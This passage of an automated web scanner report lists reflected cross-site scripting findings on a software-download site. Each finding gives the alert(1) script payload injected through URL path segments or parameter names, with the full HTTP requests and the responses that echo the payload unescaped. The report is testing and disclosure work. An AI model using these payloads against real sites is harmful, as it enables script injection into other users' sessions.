HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:56:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91550
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-podcast-downloads.htmld7970"><script>alert(1)</script>88378e0e2f5" /> ...[SNIP]...
4.1584. http://www.x64bitdownload.com/64-bit-podcast-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-podcast-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4622"><script>alert(1)</script>bdc4521abda was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-podcast-downloads.html?a4622"><script>alert(1)</script>bdc4521abda=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:55 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22podcast%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91553
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-podcast-downloads.html?a4622"><script>alert(1)</script>bdc4521abda=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96b2e"><script>alert(1)</script>6e0959531ff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rar-downloads.html96b2e"><script>alert(1)</script>6e0959531ff HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:17 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91366
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rar-downloads.html96b2e"><script>alert(1)</script>6e0959531ff" /> ...[SNIP]...
4.1586. http://www.x64bitdownload.com/64-bit-rar-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-rar-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e87e"><script>alert(1)</script>7391c84ac49 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rar-downloads.html?7e87e"><script>alert(1)</script>7391c84ac49=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:42:11 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:53:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rar%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91369
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rar-downloads.html?7e87e"><script>alert(1)</script>7391c84ac49=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf657"><script>alert(1)</script>ba7bde42ab was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-reader-c-44-newsgroup-clients-downloads.htmlcf657"><script>alert(1)</script>ba7bde42ab HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:14 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45377
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-reader-c-44-newsgroup-clients-downloads.htmlcf657"><script>alert(1)</script>ba7bde42ab" /> ...[SNIP]...
4.1588. http://www.x64bitdownload.com/64-bit-reader-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ce3f"><script>alert(1)</script>fad1e3471a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-reader-c-44-newsgroup-clients-downloads.html?2ce3f"><script>alert(1)</script>fad1e3471a2=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:13 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45381
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-reader-c-44-newsgroup-clients-downloads.html?2ce3f"><script>alert(1)</script>fad1e3471a2=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebc2d"><script>alert(1)</script>fcd3dfde6f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-reader-downloads.htmlebc2d"><script>alert(1)</script>fcd3dfde6f3 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:40:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:15 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98249
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-reader-downloads.htmlebc2d"><script>alert(1)</script>fcd3dfde6f3" /> ...[SNIP]...
4.1590. http://www.x64bitdownload.com/64-bit-reader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-reader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14914"><script>alert(1)</script>113a0fba4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-reader-downloads.html?14914"><script>alert(1)</script>113a0fba4f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:50 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22reader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98251
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-reader-downloads.html?14914"><script>alert(1)</script>113a0fba4f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32cf3"><script>alert(1)</script>15bec155853 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-reading-downloads.html32cf3"><script>alert(1)</script>15bec155853 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:49 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90342
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-reading-downloads.html32cf3"><script>alert(1)</script>15bec155853" /> ...[SNIP]...
4.1592. http://www.x64bitdownload.com/64-bit-reading-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-reading-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0f20"><script>alert(1)</script>c2ca189390f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-reading-downloads.html?a0f20"><script>alert(1)</script>c2ca189390f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:56:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22reading%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90345
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-reading-downloads.html?a0f20"><script>alert(1)</script>c2ca189390f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fff5d"><script>alert(1)</script>01c8f498ee9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-c-44-newsgroup-clients-downloads.htmlfff5d"><script>alert(1)</script>01c8f498ee9 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30708
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-c-44-newsgroup-clients-downloads.htmlfff5d"><script>alert(1)</script>01c8f498ee9" /> ...[SNIP]...
4.1594. http://www.x64bitdownload.com/64-bit-rss-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-rss-c-44-newsgroup-clients-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a440d"><script>alert(1)</script>265b1c4833d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-c-44-newsgroup-clients-downloads.html?a440d"><script>alert(1)</script>265b1c4833d=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30711
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-c-44-newsgroup-clients-downloads.html?a440d"><script>alert(1)</script>265b1c4833d=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f1c3"><script>alert(1)</script>79bc88e940 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-client-downloads.html6f1c3"><script>alert(1)</script>79bc88e940 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:55:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:06:16 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92276
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-client-downloads.html6f1c3"><script>alert(1)</script>79bc88e940" /> ...[SNIP]...
4.1596. http://www.x64bitdownload.com/64-bit-rss-client-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-rss-client-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3709f"><script>alert(1)</script>5d317c2536e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-client-downloads.html?3709f"><script>alert(1)</script>5d317c2536e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:49 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22rss-client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22rss+client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92280
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-client-downloads.html?3709f"><script>alert(1)</script>5d317c2536e=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d337e"><script>alert(1)</script>9b144cad06d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-downloads.htmld337e"><script>alert(1)</script>9b144cad06d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:02:38 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88551
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-downloads.htmld337e"><script>alert(1)</script>9b144cad06d" /> ...[SNIP]...
4.1598. http://www.x64bitdownload.com/64-bit-rss-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-rss-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a417"><script>alert(1)</script>14bc0d3550a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-downloads.html?4a417"><script>alert(1)</script>14bc0d3550a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:49:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:59:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22rss%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88554
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-rss-downloads.html?4a417"><script>alert(1)</script>14bc0d3550a=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33d26"><script>alert(1)</script>9a97b43768b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-rss-feed-reader-downloads.html33d26"><script>alert(1)</script>9a97b43768b HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
